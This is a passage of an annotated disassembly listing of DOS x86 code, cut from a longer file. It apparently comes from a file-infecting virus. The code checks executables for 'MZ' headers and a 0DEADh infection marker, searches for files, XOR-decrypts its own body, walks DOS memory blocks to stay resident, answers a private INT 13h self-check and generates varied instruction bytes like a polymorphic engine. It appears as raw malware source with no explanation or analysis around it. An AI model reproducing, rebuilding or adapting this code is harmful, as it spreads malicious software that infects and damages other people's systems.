  1439.     pop    si            ;0CC55    5E        ^
  1440.     call    H0000_CE69        ;0CC56    E81002
  1441.  
  1442.     mov    al,02h            ;0CC59    B002
  1443.     call    H0000_C906        ;0CC5B    E8A8FC
  1444.  
  1445. ;EXTRN     H0000_D40F:Near
  1446.  
  1447. ;MEM: Branch out of Program
  1448. ;A    call    H0000_D40F        ;0CC5E    E8AE07
  1449.        db      0E8h,0AEh,07h
  1450.  
  1451.     jnb    H0000_CC68        ;0CC61    7305        s
  1452. H0000_CC63:
  1453.     pop    ax            ;0CC63    58        X
  1454.     pop    ax            ;0CC64    58        X
  1455.     jmp    H0000_C95D        ;0CC65    E9F5FC
  1456. ;---------------------------------------
  1457. H0000_CC68:
  1458.     cmp    ax,cx            ;0CC68    3BC1        ;
  1459.     jnz    H0000_CC63        ;0CC6A    75F7        u
  1460.     call    H0000_C904        ;0CC6C    E895FC
  1461.  
  1462.     call    H0000_CE69        ;0CC6F    E8F701
  1463.  
  1464.     call    H0000_CCC7        ;0CC72    E85200         R
  1465.  
  1466.     jnz    H0000_CC7E        ;0CC75    7507        u
  1467.     pop    ax            ;0CC77    58        X
  1468.     pop    ax            ;0CC78    58        X
  1469.  
  1470. ;SEG: SP Change - Indefinite
  1471.     mov    [si+01h],ax        ;0CC79    894401         D
  1472.     jmp    Short H0000_CCB1    ;0CC7C    EB33         3
  1473. ;- - - - - - - - - - - - - - - - - - - -
  1474. H0000_CC7E:
  1475.     pop    ax            ;0CC7E    58        X
  1476.     push    ax            ;0CC7F    50        P
  1477.  
  1478. ;ASM: Synonym
  1479. ;A    sub    ax,Word Ptr 006Fh    ;0CC80    2D6F00        -o
  1480.        db      2Dh,6Fh,00h
  1481.  
  1482. ;SEG: SP Change - Indefinite
  1483.     mov    [si+16h],ax        ;0CC83    894416         D
  1484.     pop    ax            ;0CC86    58        X
  1485.  
  1486. ;ASM: Synonym
  1487. ;A    sub    ax,Word Ptr 004Fh    ;0CC87    2D4F00        -O
  1488.        db      2Dh,4Fh,00h
  1489.  
  1490. ;SEG: SP Change - Indefinite
  1491.     mov    [si+0Eh],ax        ;0CC8A    89440E         D
  1492.     pop    ax            ;0CC8D    58        X
  1493.     push    ax            ;0CC8E    50        P
  1494.     add    ax,06F0h        ;0CC8F    05F006
  1495.  
  1496. ;SEG: SP Change - Indefinite
  1497.     mov    [si+14h],ax        ;0CC92    894414         D
  1498.     pop    ax            ;0CC95    58        X
  1499.     add    ax,04F0h        ;0CC96    05F004
  1500.     add    ax,1080h        ;0CC99    058010
  1501.  
  1502. ;SEG: SP Change - Indefinite
  1503.     mov    [si+10h],ax        ;0CC9C    894410         D
  1504.     mov    ax,[si+02h]        ;0CC9F    8B4402         D
  1505.     add    ax,0FA0h        ;0CCA2    05A00F
  1506.     cwd                ;0CCA5    99
  1507.     mov    bx,0200h        ;0CCA6    BB0002
  1508.     div    bx            ;0CCA9    F7F3
  1509.     add    [si+04h],ax        ;0CCAB    014404         D
  1510.  
  1511. ;SEG: SP Change - Indefinite
  1512.     mov    [si+02h],dx        ;0CCAE    895402         T
  1513. H0000_CCB1:
  1514.     jmp    H0000_C88F        ;0CCB1    E9DBFB
  1515. ;---------------------------------------
  1516. H0000_CCB4:
  1517.     call    H0000_C8D3        ;0CCB4    E81CFC
  1518.  
  1519. H0000_CCB7:
  1520.  
  1521. ;SEG: CS Override
  1522.     mov    al,Byte Ptr cs:[0571h]    ;0CCB7    2EA07105    . q
  1523.     mov    ah,0C8h         ;0CCBB    B4C8
  1524.     cmp    al,ah            ;0CCBD    3AC4        :
  1525.     ret                ;0CCBF    C3
  1526. ;---------------------------------------
  1527. H0000_CCC0:
  1528.     add    al,ah            ;0CCC0    02C4
  1529.  
  1530. ;SEG: CS Override
  1531.     mov    Byte Ptr cs:[0571h],al    ;0CCC2    2EA27105    . q
  1532.     ret                ;0CCC6    C3
  1533. ;---------------------------------------
  1534. H0000_CCC7:
  1535.  
  1536. ;SEG: CS Override
  1537.     cmp    Byte Ptr cs:[0FBCh],01h ;0CCC7    2E803EBC0F01    . >
  1538.     ret                ;0CCCD    C3
  1539. ;---------------------------------------
  1540. H0000_CCCE:
  1541.  
  1542. ;SEG: CS Override
  1543.     mov    Byte Ptr cs:[0FBCh],al    ;0CCCE    2EA2BC0F    .
  1544.     ret                ;0CCD2    C3
  1545. ;---------------------------------------
  1546. H0000_CCD3:
  1547.     mov    cl,04h            ;0CCD3    B104
  1548.     and    ax,0FF0h        ;0CCD5    25F00F        %
  1549.     mov    bx,ax            ;0CCD8    8BD8
  1550.     shr    bx,cl            ;0CCDA    D3EB
  1551.     ret                ;0CCDC    C3
  1552. ;---------------------------------------
  1553. H0000_CCDD:
  1554.     push    ax            ;0CCDD    50        P
  1555.     mov    ah,bl            ;0CCDE    8AE3
  1556.     and    ah,03h            ;0CCE0    80E403
  1557.     cmp    al,ah            ;0CCE3    3AC4        :
  1558.     jnz    H0000_CD03        ;0CCE5    751C        u
  1559.     test    dl,01h            ;0CCE7    F6C201
  1560.     jz    H0000_CCF0        ;0CCEA    7404        t
  1561.     mov    al,85h            ;0CCEC    B085
  1562.     jmp    Short H0000_CCF9    ;0CCEE    EB09
  1563. ;- - - - - - - - - - - - - - - - - - - -
  1564. H0000_CCF0:
  1565.     mov    al,23h            ;0CCF0    B023         #
  1566.     test    cl,02h            ;0CCF2    F6C102
  1567.     jz    H0000_CCF9        ;0CCF5    7402        t
  1568.     mov    al,0Bh            ;0CCF7    B00B
  1569. H0000_CCF9:
  1570.     mov    ah,0C0h         ;0CCF9    B4C0
  1571.     stosb                ;0CCFB    AA
  1572.     mov    al,bl            ;0CCFC    8AC3
  1573.     and    al,07h            ;0CCFE    2407        $
  1574.     add    al,ah            ;0CD00    02C4
  1575.     stosb                ;0CD02    AA
  1576. H0000_CD03:
  1577.     pop    ax            ;0CD03    58        X
  1578.     cmp    al,03h            ;0CD04    3C03        <
  1579.     jz    H0000_CD86        ;0CD06    747E        t~
  1580.     cmp    al,02h            ;0CD08    3C02        <
  1581.     jz    H0000_CD5F        ;0CD0A    7453        tS
  1582.     cmp    al,01h            ;0CD0C    3C01        <
  1583.     jz    H0000_CD38        ;0CD0E    7428        t(
  1584.     call    H0000_CCC7        ;0CD10    E8B4FF
  1585.  
  1586.     jz    H0000_CD28        ;0CD13    7413        t
  1587.     cmp    bl,06h            ;0CD15    80FB06
  1588.     ja    H0000_CD28        ;0CD18    770E        w
  1589.     mov    al,8Dh            ;0CD1A    B08D
  1590.     stosb                ;0CD1C    AA
  1591.     mov    al,1Eh            ;0CD1D    B01E
  1592.     test    cl,03h            ;0CD1F    F6C103
  1593.     jz    H0000_CD30        ;0CD22    740C        t
  1594.     mov    al,16h            ;0CD24    B016
  1595.     jmp    Short H0000_CD30    ;0CD26    EB08
  1596. ;- - - - - - - - - - - - - - - - - - - -
  1597. H0000_CD28:
  1598.     mov    al,0BBh         ;0CD28    B0BB
  1599.     test    cl,03h            ;0CD2A    F6C103
  1600.     jz    H0000_CD30        ;0CD2D    7401        t
  1601.     dec    ax            ;0CD2F    48        H
  1602. H0000_CD30:
  1603.     stosb                ;0CD30    AA
  1604.     mov    ax,bp            ;0CD31    8BC5
  1605.     mov    Word Ptr ds:[108Dh],ax    ;0CD33    A38D10
  1606.     stosw                ;0CD36    AB
  1607.     ret                ;0CD37    C3
  1608. ;---------------------------------------
  1609. H0000_CD38:
  1610.     call    H0000_CCC7        ;0CD38    E88CFF
  1611.  
  1612.     jz    H0000_CD50        ;0CD3B    7413        t
  1613.     cmp    bl,0FCh         ;0CD3D    80FBFC
  1614.     jb    H0000_CD50        ;0CD40    720E        r
  1615.     mov    al,8Dh            ;0CD42    B08D
  1616.     stosb                ;0CD44    AA
  1617.     mov    al,36h            ;0CD45    B036         6
  1618.     test    dh,02h            ;0CD47    F6C602
  1619.     jz    H0000_CD58        ;0CD4A    740C        t
  1620.     mov    al,3Eh            ;0CD4C    B03E         >
  1621.     jmp    Short H0000_CD58    ;0CD4E    EB08
  1622. ;- - - - - - - - - - - - - - - - - - - -
  1623. H0000_CD50:
  1624.     mov    al,0BEh         ;0CD50    B0BE
  1625.     test    dh,02h            ;0CD52    F6C602
  1626.     jz    H0000_CD58        ;0CD55    7401        t
  1627.     inc    ax            ;0CD57    40        @
  1628. H0000_CD58:
  1629.     stosb                ;0CD58    AA
  1630.     mov    ds:[08A8h],di        ;0CD59    893EA808     >
  1631.     stosw                ;0CD5D    AB
  1632.     ret                ;0CD5E    C3
  1633. ;---------------------------------------
  1634. H0000_CD5F:
  1635.     call    H0000_CCC7        ;0CD5F    E865FF         e
  1636.  
  1637.     jz    H0000_CD77        ;0CD62    7413        t
  1638.     test    bh,05h            ;0CD64    F6C705
  1639.     jz    H0000_CD77        ;0CD67    740E        t
  1640.     mov    al,8Dh            ;0CD69    B08D
  1641.     stosb                ;0CD6B    AA
  1642.     mov    al,0Eh            ;0CD6C    B00E
  1643.     test    dl,10h            ;0CD6E    F6C210
  1644.     jz    H0000_CD80        ;0CD71    740D        t
  1645.     mov    al,2Eh            ;0CD73    B02E         .
  1646.     jmp    Short H0000_CD80    ;0CD75    EB09
  1647. ;- - - - - - - - - - - - - - - - - - - -
  1648. H0000_CD77:
  1649.     mov    al,0B9h         ;0CD77    B0B9
  1650.     test    dl,10h            ;0CD79    F6C210
  1651.     jz    H0000_CD80        ;0CD7C    7402        t
  1652.     mov    al,0BDh         ;0CD7E    B0BD
  1653. H0000_CD80:
  1654.     stosb                ;0CD80    AA
  1655.     mov    ds:[088Dh],di        ;0CD81    893E8D08     >
  1656.     stosw                ;0CD85    AB
  1657. H0000_CD86:
  1658.     ret                ;0CD86    C3
  1659. ;---------------------------------------
  1660. H0000_CD87:
  1661.     test    ch,03h            ;0CD87    F6C503
  1662.     jnz    H0000_CD95        ;0CD8A    7509        u
  1663.     xor    ax,ax            ;0CD8C    33C0        3
  1664.     mov    al,bl            ;0CD8E    8AC3
  1665.     and    al,07h            ;0CD90    2407        $
  1666.     add    al,78h            ;0CD92    0478         x
  1667.     stosw                ;0CD94    AB
  1668. H0000_CD95:
  1669.     ret                ;0CD95    C3
  1670. ;---------------------------------------
  1671. H0000_CD96:
  1672.     lodsb                ;0CD96    AC
  1673.     test    ch,02h            ;0CD97    F6C502
  1674.     jz    H0000_CDAA        ;0CD9A    740E        t
  1675.     cmp    al,01h            ;0CD9C    3C01        <
  1676.     jnz    H0000_CDA9        ;0CD9E    7509        u
  1677.     mov    al,0FCh         ;0CDA0    B0FC
  1678.     test    dh,80h            ;0CDA2    F6C680
  1679.     jz    H0000_CDA8        ;0CDA5    7401        t
  1680.     dec    ax            ;0CDA7    48        H
  1681. H0000_CDA8:
  1682.     stosb                ;0CDA8    AA
  1683. H0000_CDA9:
  1684.     ret                ;0CDA9    C3
  1685. ;---------------------------------------
  1686. H0000_CDAA:
  1687.     cmp    al,03h            ;0CDAA    3C03        <
  1688.     jnz    H0000_CDA9        ;0CDAC    75FB        u
  1689.     mov    al,90h            ;0CDAE    B090
  1690.     test    dh,80h            ;0CDB0    F6C680
  1691.     jz    H0000_CDB7        ;0CDB3    7402        t
  1692.     mov    al,2Eh            ;0CDB5    B02E         .
  1693. H0000_CDB7:
  1694.     stosb                ;0CDB7    AA
  1695.     ret                ;0CDB8    C3
  1696. ;---------------------------------------
  1697. H0000_CDB9:
  1698.     push    dx            ;0CDB9    52        R
  1699.     push    ds            ;0CDBA    1E
  1700.     push    es            ;0CDBB    06
  1701.     push    bx            ;0CDBC    53        S
  1702.     mov    ah,2Fh            ;0CDBD    B42F         /
  1703.     call    H0000_C863        ;0CDBF    E8A1FA
  1704.  
  1705.     push    bx            ;0CDC2    53        S
  1706.     push    es            ;0CDC3    06
  1707.     push    ds            ;0CDC4    1E
  1708.     push    dx            ;0CDC5    52        R
  1709.     mov    ah,1Ah            ;0CDC6    B41A
  1710.     push    cs            ;0CDC8    0E
  1711.  
  1712. ;SEG: DS Change - 0000h
  1713.     pop    ds            ;0CDC9    1F
  1714.     mov    dx,00A2h        ;0CDCA    BAA200
  1715.     call    H0000_C863        ;0CDCD    E893FA
  1716.  
  1717.     pop    dx            ;0CDD0    5A        Z
  1718.  
  1719. ;SEG: DS Change - Indefinite
  1720.     pop    ds            ;0CDD1    1F
  1721.     mov    cx,0027h        ;0CDD2    B92700         '
  1722.     mov    ax,4E00h        ;0CDD5    B8004E          N
  1723.     call    H0000_C863        ;0CDD8    E888FA
  1724.  
  1725. ;SEG: DS Change - Indefinite
  1726.     pop    ds            ;0CDDB    1F
  1727.     pop    dx            ;0CDDC    5A        Z
  1728.     pushf                ;0CDDD    9C
  1729.  
  1730. ;SEG: CS Override
  1731.     mov    al,Byte Ptr cs:[00BBh]    ;0CDDE    2EA0BB00    .
  1732.     mov    ah,1Ah            ;0CDE2    B41A
  1733.     call    H0000_C863        ;0CDE4    E87CFA         |
  1734.  
  1735.     popf                ;0CDE7    9D
  1736.     pop    bx            ;0CDE8    5B        [
  1737.  
  1738. ;SEG: ES Change - Indefinite
  1739.     pop    es            ;0CDE9    07
  1740.  
  1741. ;SEG: DS Change - Indefinite
  1742.     pop    ds            ;0CDEA    1F
  1743.     pop    dx            ;0CDEB    5A        Z
  1744.     ret                ;0CDEC    C3
  1745. ;---------------------------------------
  1746. H0000_CDED:
  1747.     call    H0000_CECE        ;0CDED    E8DE00
  1748.  
  1749.     jz    H0000_CE04        ;0CDF0    7412        t
  1750.     call    H0000_CDB9        ;0CDF2    E8C4FF
  1751.  
  1752.     jb    H0000_CE04        ;0CDF5    720D        r
  1753.     cmp    al,0C8h         ;0CDF7    3CC8        <
  1754.     jb    H0000_CE04        ;0CDF9    7209        r
  1755.     call    H0000_C896        ;0CDFB    E898FA
  1756.  
  1757.     jnb    H0000_CE06        ;0CDFE    7306        s
  1758.     cmp    al,03h            ;0CE00    3C03        <
  1759.     ja    H0000_CE38        ;0CE02    7734        w4
  1760. H0000_CE04:
  1761.     stc                ;0CE04    F9
  1762.     ret                ;0CE05    C3
  1763. ;---------------------------------------
  1764. H0000_CE06:
  1765.     call    H0000_CCB7        ;0CE06    E8AEFE
  1766.  
  1767.     jb    H0000_CE38        ;0CE09    722D        r-
  1768.     call    H0000_CCB4        ;0CE0B    E8A6FE
  1769.  
  1770.     jb    H0000_CE15        ;0CE0E    7205        r
  1771.     neg    ah            ;0CE10    F6DC
  1772.     call    H0000_CCC0        ;0CE12    E8ABFE
  1773.  
  1774. H0000_CE15:
  1775.     call    H0000_CE52        ;0CE15    E83A00         :
  1776.  
  1777.     jnz    H0000_CE38        ;0CE18    751E        u
  1778.     push    ds            ;0CE1A    1E
  1779.     push    es            ;0CE1B    06
  1780.     push    cs            ;0CE1C    0E
  1781.  
  1782. ;SEG: ES Change - 0000h
  1783.     pop    es            ;0CE1D    07
  1784.     mov    si,bp            ;0CE1E    8BF5
  1785.     mov    di,0002h        ;0CE20    BF0200
  1786.     call    H0000_CE88        ;0CE23    E86200         b
  1787.  
  1788.     cmp    al,0FFh         ;0CE26    3CFF        <
  1789.     jnz    H0000_CE33        ;0CE28    7509        u
  1790.     mov    ah,60h            ;0CE2A    B460         `
  1791.     call    H0000_C863        ;0CE2C    E834FA         4
  1792.  
  1793. ;SEG: ES Override
  1794.     mov    es:[di-02h],bx        ;0CE2F    26895DFE    & ]
  1795. H0000_CE33:
  1796.  
  1797. ;SEG: ES Change - Indefinite
  1798.     pop    es            ;0CE33    07
  1799.  
  1800. ;SEG: DS Change - Indefinite
  1801.     pop    ds            ;0CE34    1F
  1802.     call    H0000_CE3B        ;0CE35    E80300
  1803.  
  1804. H0000_CE38:
  1805.     jmp    H0000_C90F        ;0CE38    E9D4FA
  1806. ;---------------------------------------
  1807. H0000_CE3B:
  1808.     push    cs            ;0CE3B    0E
  1809.  
  1810. ;SEG: DS Change - 0000h
  1811.     pop    ds            ;0CE3C    1F
  1812.     call    H0000_C88F        ;0CE3D    E84FFA         O
  1813.  
  1814.     mov    dx,ds:[1065h]        ;0CE40    8B166510      e
  1815.     mov    cx,ds:[1067h]        ;0CE44    8B0E6710      g
  1816.     mov    al,00h            ;0CE48    B000
  1817.     call    H0000_C90A        ;0CE4A    E8BDFA
  1818.  
  1819.     xor    cx,cx            ;0CE4D    33C9        3
  1820.     jmp    H0000_C892        ;0CE4F    E940FA         @
  1821. ;---------------------------------------
  1822. H0000_CE52:
  1823.     call    H0000_CE69        ;0CE52    E81400
  1824.  
  1825. ;SEG: CS Override
  1826.     cmp    Word Ptr cs:[si+1Ch],0DEADh
  1827.                     ;0CE55    2E817C1CADDE    . |
  1828.     jnz    H0000_CE68        ;0CE5B    750B        u
  1829.  
  1830. ;SEG: CS Override
  1831.     cmp    Byte Ptr cs:[si],0E9h    ;0CE5D    2E803CE9    . <
  1832.     jz    H0000_CE68        ;0CE61    7405        t
  1833.  
  1834. ;SEG: CS Override
  1835.     cmp    Word Ptr cs:[si],5A4Dh    ;0CE63    2E813C4D5A    . <MZ
  1836. H0000_CE68:
  1837.     ret                ;0CE68    C3
  1838. ;---------------------------------------
  1839. H0000_CE69:
  1840.     mov    si,104Dh        ;0CE69    BE4D10         M
  1841.     push    si            ;0CE6C    56        V
  1842.  
  1843. ;SEG: CS Override
  1844.     mov    ax,cs:[si+1Eh]        ;0CE6D    2E8B441E    . D
  1845. H0000_CE71:
  1846.  
  1847. ;SEG: CS Override
  1848.     xor    cs:[si],ax        ;0CE71    2E3104        .1
  1849.     add    ax,913Fh        ;0CE74    053F91         ?
  1850.     inc    si            ;0CE77    46        F
  1851.     inc    si            ;0CE78    46        F
  1852.     cmp    si,106Bh        ;0CE79    81FE6B10      k
  1853.     jnz    H0000_CE71        ;0CE7D    75F2        u
  1854.     pop    si            ;0CE7F    5E        ^
  1855.     ret                ;0CE80    C3
  1856. ;---------------------------------------
  1857. H0000_CE81:
  1858.  
  1859. ;SEG: CS Override
  1860.     mov    Byte Ptr cs:[0000h],0FFh;0CE81    2EC6060000FF    .
  1861.     ret                ;0CE87    C3
  1862. ;---------------------------------------
  1863. H0000_CE88:
  1864.  
  1865. ;SEG: CS Override
  1866.     mov    al,Byte Ptr cs:[0000h]    ;0CE88    2EA00000    .
  1867.     ret                ;0CE8C    C3
  1868. ;---------------------------------------
  1869. H0000_CE8D:
  1870.     mov    dx,010Ch        ;0CE8D    BA0C01
  1871. H0000_CE90:
  1872.     nop                ;0CE90    90
  1873.  
  1874. ;SEG: CS Override
  1875.     mov    Byte Ptr cs:[029Dh],00h ;0CE91    2EC6069D0200    .
  1876.     mov    ah,52h            ;0CE97    B452         R
  1877.     call    H0000_C863        ;0CE99    E8C7F9
  1878.  
  1879.     call    H0000_CEBC        ;0CE9C    E81D00
  1880.  
  1881. H0000_CE9F:
  1882.     cmp    Byte Ptr [di],5Ah    ;0CE9F    803D5A         =Z
  1883.     jz    H0000_CEAB        ;0CEA2    7407        t
  1884.     push    ds            ;0CEA4    1E
  1885.  
  1886. ;SEG: ES Change - Indefinite
  1887.     pop    es            ;0CEA5    07
  1888.     call    H0000_CEAF        ;0CEA6    E80600
  1889.  
  1890.     jmp    Short H0000_CE9F    ;0CEA9    EBF4
  1891. ;---------------------------------------
  1892. H0000_CEAB:
  1893.     add    [di+03h],dx        ;0CEAB    015503         U
  1894.     ret                ;0CEAE    C3
  1895. ;---------------------------------------
  1896. H0000_CEAF:
  1897.     mov    ax,ds            ;0CEAF    8CD8
  1898.     inc    ax            ;0CEB1    40        @
  1899.     add    ax,[di+03h]        ;0CEB2    034503         E
  1900.  
  1901. ;SEG: DS Change - Indefinite
  1902.     mov    ds,ax            ;0CEB5    8ED8
  1903.     ret                ;0CEB7    C3
  1904. ;---------------------------------------
  1905. H0000_CEB8:
  1906.     mov    ah,52h            ;0CEB8    B452         R
  1907.  
  1908. ;(RESERVED) DOS2-SYS Get Variable Data
  1909. ;INT: 21h  ah=52h
  1910.     int    21h            ;0CEBA    CD21         !
  1911. H0000_CEBC:
  1912.  
  1913. ;SEG: DS Change - Indefinite
  1914. ;SEG: ES Override
  1915.     lds    di,DWord Ptr es:[bx-04h];0CEBC    26C57FFC    &
  1916.     ret                ;0CEC0    C3
  1917. ;---------------------------------------
  1918. H0000_CEC1:
  1919.  
  1920. ;SEG: CS Override
  1921.     cmp    dx,cs:[1067h]        ;0CEC1    2E3B166710    .; g
  1922.     jnz    H0000_CECD        ;0CEC6    7505        u
  1923.  
  1924. ;SEG: CS Override
  1925.     cmp    bx,cs:[1065h]        ;0CEC8    2E3B1E6510    .; e
  1926. H0000_CECD:
  1927.     ret                ;0CECD    C3
  1928. ;---------------------------------------
  1929. H0000_CECE:
  1930.  
  1931. ;SEG: CS Override
  1932.     mov    Byte Ptr cs:[0CD3h],01h ;0CECE    2EC606D30C01    .
  1933.     mov    ax,0FF0Fh        ;0CED4    B80FFF
  1934.     pushf                ;0CED7    9C
  1935.  
  1936. ;MEM: CALL  DWORD PTR CS:[0092H]
  1937.  
  1938. ; ax=FF0Fh
  1939.     call    DWord Ptr cs:[0092h]    ;0CED8    2EFF1E9200    .
  1940.  
  1941.     cmp    ax,0101h        ;0CEDD    3D0101        =
  1942.  
  1943. ;SEG: CS Override
  1944.     mov    Byte Ptr cs:[0CD3h],00h ;0CEE0    2EC606D30C00    .
  1945.     ret                ;0CEE6    C3
  1946. ;---------------------------------------
  1947. H0000_CEE7:
  1948.     mov    ax,0FA02h        ;0CEE7    B802FA
  1949.     mov    dx,5945h        ;0CEEA    BA4559         EY
  1950.  
  1951. ;BIOS-DSK Disk Drive Services, AH=Func
  1952. ;INT: 13h  ax=FA02h dx=5945h
  1953.     int    13h            ;0CEED    CD13
  1954.     ret                ;0CEEF    C3
  1955. ;---------------------------------------
  1956. ;MEM: Unreferenced Code
  1957.     db    0B1h            ;0CEF0
  1958.     db    0A1h            ;0CEF1
  1959.     dw    0BCA2h            ;0CEF2    A2BC
  1960.     dw    65C8h            ;0CEF4    C865         e
  1961.     dw    65CEh            ;0CEF6    CE65         e
  1962.     db    0D9h            ;0CEF8
  1963.     db    "e"            ;0CEF9    65
  1964.     db    0D1h            ;0CEFA
  1965.     db    "e"            ;0CEFB    65
  1966.     db    0D3h            ;0CEFC
  1967.     db    "e"            ;0CEFD    65
  1968.     dw    0BCCEh            ;0CEFE    CEBC
  1969.     db    0EBh            ;0CF00
  1970.     db    0FDh            ;0CF01
  1971.     db    0EFh            ;0CF02
  1972.     dw    0F8BCh            ;0CF03    BCF8
  1973.     db    0F3h            ;0CF05
  1974.     dw    0F9F2h            ;0CF06    F2F9
  1975.     dw    0FEBCh            ;0CF08    BCFE
  1976.     db    0E5h            ;0CF0A
  1977.     dw    0D2BCh            ;0CF0B    BCD2
  1978.     db    0D9h            ;0CF0D
  1979.     db    0C9h            ;0CF0E
  1980.     dw    0D3CEh            ;0CF0F    CED3
  1981.     dw    0DDDEh            ;0CF11    DEDD
  1982.     db    0CFh            ;0CF13
  1983.     dw    0D9D4h            ;0CF14    D4D9
  1984.     dw    0BCCEh            ;0CF16    CEBC
  1985.     db    0B3h            ;0CF18
  1986.     dw    0D1BCh            ;0CF19    BCD1
  1987.     db    0FDh            ;0CF1B
  1988.     db    0E5h            ;0CF1C
  1989.     db    0B1h            ;0CF1D
  1990.     dw    0E9D6h            ;0CF1E    D6E9
  1991.     dw    0F9F2h            ;0CF20    F2F9
  1992.     db    0BBh            ;0CF22
  1993.     db    0A5h            ;0CF23
  1994.     dw    0B0AEh            ;0CF24    AEB0
  1995.     dw    0DBBCh            ;0CF26    BCDB
  1996.     db    0F9h            ;0CF28
  1997.     dw    0F1EEh            ;0CF29    EEF1
  1998.     db    0FDh            ;0CF2B
  1999.     dw    0E5F2h            ;0CF2C    F2E5
  2000.     dw    0A0BCh            ;0CF2E    BCA0
  2001.     db    0A1h            ;0CF30
  2002.     db    0B1h            ;0CF31
  2003.     dw    589Ch            ;0CF32    9C58         X
  2004.     db    0D1h            ;0CF34
  2005.     db    0D3h            ;0CF35
  2006.     db    0D1h            ;0CF36
  2007.     db    0D9h            ;0CF37
  2008.     dw    0C8D2h            ;0CF38    D2C8
  2009.     db    "X"            ;0CF3A    58
  2010.     db    0D3h            ;0CF3B
  2011.     dw    58DAh            ;0CF3C    DA58         X
  2012.     dw    0D9C8h            ;0CF3E    C8D9
  2013.     dw    0CECEh            ;0CF40    CECE
  2014.     db    0D3h            ;0CF42
  2015.     dw    58CEh            ;0CF43    CE58         X
  2016.     db    0D5h            ;0CF45
  2017.     db    0CFh            ;0CF46
  2018.     db    "X"            ;0CF47    58
  2019.     dw    0D4C8h            ;0CF48    C8D4
  2020.     db    0D9h            ;0CF4A
  2021.     db    "X"            ;0CF4B    58
  2022.     dw    0D9DEh            ;0CF4C    DED9
  2023.     db    0DBh            ;0CF4E
  2024.     db    0D5h            ;0CF4F
  2025.     dw    0D2D2h            ;0CF50    D2D2
  2026.     db    0D5h            ;0CF52
  2027.     dw    0DBD2h            ;0CF53    D2DB
  2028.     db    "X"            ;0CF55    58
  2029.     db    0D3h            ;0CF56
  2030.     dw    58DAh            ;0CF57    DA58         X
  2031.     dw    0D5D0h            ;0CF59    D0D5
  2032.     dw    0D9DAh            ;0CF5B    DAD9
  2033.     db    "X"            ;0CF5D    58
  2034.     dw    509Ch            ;0CF5E    9C50         P
  2035.     db    0E4h            ;0CF60
  2036.     db    "`<SuH"         ;0CF61    603C5375
  2037.     dw    0B81Eh            ;0CF66    1EB8
  2038.     db    "@"            ;0CF68    40
  2039.     dw    8E00h            ;0CF69    008E
  2040.     dw    0A0D8h            ;0CF6B    D8A0
  2041.     db    17h            ;0CF6D
  2042.     dw    0A800h            ;0CF6E    00A8
  2043.     db    0Ch            ;0CF70
  2044.     db    "t:SQRV"        ;0CF71    743A5351
  2045.     dw    00B8h            ;0CF77    B800
  2046.     db    07h            ;0CF79
  2047.     db    "3"            ;0CF7A    33
  2048.     db    0DBh            ;0CF7B
  2049.     db    8Bh            ;0CF7C
  2050.     db    0CBh            ;0CF7D
  2051.     dw    7FBAh            ;0CF7E    BA7F
  2052.     dw    0CD18h            ;0CF80    18CD
  2053.     dw    0B410h            ;0CF82    10B4
  2054.     dw    0BA02h            ;0CF84    02BA
  2055.     db    07h            ;0CF86
  2056.     db    09h            ;0CF87
  2057.     db    0CDh            ;0CF88
  2058.     dw    0BE10h            ;0CF89    10BE
  2059.     db    "N"            ;0CF8B    4E
  2060.     db    0Bh            ;0CF8C
  2061.     dw    25E8h            ;0CF8D    E825         %
  2062.     dw    0BA00h            ;0CF8F    00BA
  2063.     db    13h            ;0CF91
  2064.     db    0Fh            ;0CF92
  2065.     db    0CDh            ;0CF93
  2066.     dw    0BE10h            ;0CF94    10BE
  2067.     db    91h            ;0CF96
  2068.     db    0Bh            ;0CF97
  2069.     dw    1AE8h            ;0CF98    E81A
  2070.     dw    0B900h            ;0CF9A    00B9
  2071.     dw    0096h            ;0CF9C    9600
  2072.     db    "Q"            ;0CF9E    51
  2073.     db    0B9h            ;0CF9F
  2074.     db    0FFh            ;0CFA0
  2075.     db    0FFh            ;0CFA1
  2076.     db    0EBh            ;0CFA2
  2077.     dw    0E200h            ;0CFA3    00E2
  2078.     dw    59FCh            ;0CFA5    FC59         Y
  2079.     dw    0F5E2h            ;0CFA7    E2F5
  2080.     db    "^ZY["            ;0CFA9    5E5A595B
  2081.     db    1Fh            ;0CFAD
  2082.     db    "X"            ;0CFAE    58
  2083.     dw    2EFAh            ;0CFAF    FA2E         .
  2084.     db    0FFh            ;0CFB1
  2085.     db    "."            ;0CFB2    2E
  2086.     dw    009Ah            ;0CFB3    9A00
  2087.     db    "."            ;0CFB5    2E
  2088.     dw    048Ah            ;0CFB6    8A04
  2089.     db    "4"            ;0CFB8    34
  2090.     dw    3C9Ch            ;0CFB9    9C3C         <
  2091.     dw    7400h            ;0CFBB    0074         t
  2092.     db    05h            ;0CFBD
  2093.     db    0CDh            ;0CFBE
  2094.     db    ")Fu"            ;0CFBF    294675
  2095.  
  2096. ;MEM: Possible Code Area
  2097.     dw    0C3F2h            ;0CFC2    F2C3
  2098. ;---------------------------------------
  2099. H0000_CFC4:
  2100. ;---------------------------------------
  2101.     cli                ;0CFC4    FA
  2102.     call    H0000_C83E        ;0CFC5    E876F8         v
  2103.  
  2104. H0000_CFC8:
  2105.     mov    ax,0F3Bh        ;0CFC8    B83B0F         ;
  2106.  
  2107. ;SEG: DS Change - 0F3Bh
  2108.     mov    ds,ax            ;0CFCB    8ED8
  2109.     mov    ax,9EF5h        ;0CFCD    B8F59E
  2110.  
  2111. ;SEG: ES Change - 9EF5h
  2112.     mov    es,ax            ;0CFD0    8EC0
  2113.     mov    ax,4300h        ;0CFD2    B80043          C
  2114.     mov    bx,0FACEh        ;0CFD5    BBCEFA
  2115.     mov    cx,1981h        ;0CFD8    B98119
  2116.     mov    dx,000Eh        ;0CFDB    BA0E00
  2117.     mov    si,11B7h        ;0CFDE    BEB711
  2118.     mov    di,008Ah        ;0CFE1    BF8A00
  2119.     mov    bp,0070h        ;0CFE4    BD7000         p
  2120.     sti                ;0CFE7    FB
  2121.     ret                ;0CFE8    C3
  2122. ;---------------------------------------
  2123. ;MEM: Unreferenced Code
  2124.     dw    0000h            ;0CFE9    0000
  2125. ;---------------------------------------
  2126. H0000_CFEB:
  2127. ;---------------------------------------
  2128.     xor    bx,bx            ;0CFEB    33DB        3
  2129.  
  2130. ;SEG: DS Change - 0000h
  2131.     mov    ds,bx            ;0CFED    8EDB
  2132.  
  2133. ;SEG: DS Change - Indefinite
  2134.     lds    si,DWord Ptr [bx+04h]    ;0CFEF    C57704         w
  2135.     cmp    Byte Ptr [si],0CFh    ;0CFF2    803CCF         <
